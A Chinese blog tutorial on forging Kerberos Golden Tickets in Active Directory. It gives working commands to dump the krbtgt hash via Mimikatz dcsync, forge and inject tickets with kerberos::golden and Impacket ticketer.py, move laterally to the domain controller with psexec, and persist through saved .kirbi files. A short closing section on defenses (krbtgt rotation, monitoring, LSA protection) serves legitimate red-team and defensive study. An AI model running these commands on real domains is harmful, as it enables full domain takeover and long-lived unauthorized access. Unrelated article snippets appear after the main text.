news 2026/5/1 23:09:12

手把手教你用Mimikatz制作Golden Ticket黄金票据(附实战截图与避坑点)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
手把手教你用Mimikatz制作Golden Ticket黄金票据(附实战截图与避坑点)

域渗透实战:黄金票据生成与利用的深度解析

引言

在复杂的网络环境中,安全专业人员需要掌握各种防御和攻击技术以评估系统脆弱性。黄金票据(Golden Ticket)作为一种高级持久化技术,允许攻击者在Kerberos认证体系中伪造任意用户的TGT(Ticket Granting Ticket)。本文将深入探讨如何在实际环境中生成和利用黄金票据,特别关注使用Mimikatz工具的具体操作步骤和常见问题排查。

不同于理论概述,本文将从实战角度出发,提供详细的命令行操作、参数解释以及执行前后的系统状态验证方法。我们假设读者已经具备基本的域环境知识,并获得了必要的初始访问权限(如krbtgt账户的NTLM哈希)。文章将覆盖从信息收集到票据生成、注入内存再到实际利用的完整流程,同时穿插关键注意事项和排错技巧。

1. 环境准备与信息收集

1.1 获取关键域信息

生成黄金票据需要三个核心要素:域SID、krbtgt账户的NTLM哈希和域名。让我们从最基础的信息收集开始:

获取域名

echo %userdomain%

或者使用更全面的命令:

systeminfo | findstr /B /C:"Domain"

获取域SID

whoami /all

在输出中查找包含"S-1-5-21"的行,这就是域的SID基础部分。完整的域SID通常格式为:S-1-5-21-[三个随机数字]-[两个随机数字]-[一个随机数字]。

获取krbtgt账户的NTLM哈希

mimikatz # lsadump::dcsync /domain:yourdomain.com /user:krbtgt

执行后会显示类似如下的关键信息:

* Primary NTLM : 558ae7f88589153355cbeb046ac696df

注意:执行dcsync需要足够的权限,通常需要Domain Admins组成员的凭证。如果遇到权限不足的情况,可能需要先进行权限提升。

1.2 验证收集的信息

在继续之前,务必验证收集到的信息是否正确:

  1. 域名验证

    • 确认域名拼写无误,特别是大小写(Kerberos对大小写敏感)
    • 使用nltest /dsgetdc:yourdomain.com验证域控制器可达性
  2. SID验证

    • 确保获取的是域SID而非用户SID
    • 使用wmic useraccount where name='krbtgt' get sid交叉验证
  3. 哈希验证

    • krbtgt的NTLM哈希应为32位十六进制字符串
    • 使用mimikatz # kerberos::list检查当前票据状态

2. 黄金票据生成技术详解

2.1 Mimikatz生成黄金票据

Mimikatz是最常用的黄金票据生成工具,其kerberos::golden命令提供了丰富的参数选项:

mimikatz # kerberos::golden /user:Administrator /domain:yourdomain.com /sid:S-1-5-21-1695257952-3088263962-2055235443 /krbtgt:558ae7f88589153355cbeb046ac696df /ptt

参数解析

参数说明示例值
/user要伪造的用户名Administrator
/domain域名yourdomain.com
/sid域SIDS-1-5-21-...
/krbtgtkrbtgt账户的NTLM哈希32位十六进制字符串
/ptt自动注入内存(Pass The Ticket)无值

高级选项

  • /groups: 指定用户组RID(默认包含513,512,520,518,519)
  • /startoffset: 票据起始时间(默认为当前时间)
  • /endin: 票据有效期(默认为10年)
  • /renewmax: 最大续订时间

2.2 替代工具:Impacket的ticketer

对于Python环境,可以使用Impacket套件中的ticketer:

ticketer.py -nthash 558ae7f88589153355cbeb046ac696df -domain-sid S-1-5-21-1695257952-3088263962-2055235443 -domain yourdomain.com Administrator

生成后的票据可以通过以下命令注入:

export KRB5CCNAME=Administrator.ccache

提示:Impacket工具生成的票据需要额外配置环境变量,而Mimikatz的/ptt参数会自动完成注入。

3. 票据验证与利用

3.1 验证票据是否成功注入

使用以下命令检查当前会话中的Kerberos票据:

klist

预期输出应显示新生成的票据,特别注意:

  • 客户端名称应为伪造的用户名(如Administrator)
  • 服务器名称应为krbtgt/YOURDOMAIN.COM@YOURDOMAIN.COM
  • 票据有效期通常为10年

3.2 实际利用场景

场景1:访问域控共享

dir \\dc01.yourdomain.com\c$

场景2:远程执行命令

psexec.exe \\dc01.yourdomain.com cmd

场景3:DCSync攻击

mimikatz # lsadump::dcsync /domain:yourdomain.com /user:krbtgt

3.3 持久化技术

黄金票据可以保存为文件供后续使用:

mimikatz # kerberos::golden /user:Administrator /domain:yourdomain.com /sid:S-1-5-21-... /krbtgt:558ae7f88589153355cbeb046ac696df /ticket:golden.kirbi

后续注入:

mimikatz # kerberos::ptt golden.kirbi

4. 排错与防御策略

4.1 常见问题排查

问题1:票据生成但无法使用

  • 检查域名大小写是否一致
  • 确认系统时间与域控同步(Kerberos对时间敏感)
  • 使用nltest /dsgetdc:yourdomain.com验证域控可达性

问题2:dcsync失败

  • 确保使用的账户有足够权限
  • 检查网络连通性
  • 尝试不同的域控服务器

问题3:klist不显示票据

  • 确认Mimikatz以管理员权限运行
  • 检查是否有杀毒软件拦截
  • 尝试重新注入票据

4.2 防御建议

对于防御方,可以考虑以下措施:

  1. 定期重置krbtgt密码

    • 微软建议至少每180天重置一次
    • 需要连续重置两次(旧票据可能仍有效一段时间)
  2. 监控异常

    • 监视异常的Kerberos票据请求
    • 关注票据有效期异常长的会话
  3. 实施LSA保护

    • 启用Windows Defender Credential Guard
    • 配置RunAsPPL注册表键值
  4. 日志分析

    • 启用Kerberos服务日志
    • 监控4769事件(Kerberos服务票据请求)

在实际测试环境中,我发现黄金票据最有效的防御是krbtgt账户密码的定期轮换。曾经在一次红队演练中,客户系统因为超过两年未更换krbtgt密码,导致我们生成的票据拥有长达10年的有效期,几乎获得了永久的域内访问权限。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 23:08:32

NPMI与CO方法在文本相关性分析中的实践对比

1. 项目背景与核心价值文本相关性分析是自然语言处理领域的基础任务之一,广泛应用于搜索引擎、推荐系统、问答系统等场景。传统方法如TF-IDF、BM25等虽然简单有效,但在处理语义相关性时存在明显局限。近年来,基于词向量和上下文嵌入的方法逐渐…

作者头像 李华
网站建设 2026/5/1 23:03:29

通过Taotoken用量看板分析并优化大模型API调用策略

通过Taotoken用量看板分析并优化大模型API调用策略 1. 用量看板的核心功能 Taotoken控制台的用量看板提供了多维度的API调用数据分析能力。开发者登录后,可以在「用量分析」页面查看按时间、模型、项目等维度聚合的token消耗统计图表。系统默认展示最近7天的数据&…

作者头像 李华
网站建设 2026/5/1 23:02:24

告别Hello World!用Arduino和LCD1602做个会动的电子时钟(附完整代码)

用Arduino和LCD1602打造动态电子时钟:从基础到创意实践 项目构思与硬件准备 1602液晶屏作为经典的字符型显示设备,虽然像素密度不高,但在实时数据显示项目中依然大有用武之地。这次我们要做的不是简单的静态文字展示,而是一个能动…

作者头像 李华
网站建设 2026/5/1 22:59:48

逛展新花样!来移动云大会“养虾”“养马”

当 AI 智能体热潮席卷行业,“养虾”“养马” 早已从数字圈的趣味玩法,演变为大众接触智能体的潮流入口。移动云全新上线的MobileClaw与Hermes Agent既能 “养虾”也能“养马”,让零门槛玩转智能体成为现实,兼顾安全稳定与高效运行…

作者头像 李华
网站建设 2026/5/1 22:46:49

Rust 格式化输出完全攻略:从入门到精通

在 Rust 开发中,格式化输出是调试、日志打印、字符串构造的核心技能。Rust 提供了一套强大且灵活的输出宏体系,支持普通打印、调试输出、自定义格式、精度控制、对齐填充等几乎所有场景。 本文结合完整知识点,为你总结 Rust 中所有输出方式 …

作者头像 李华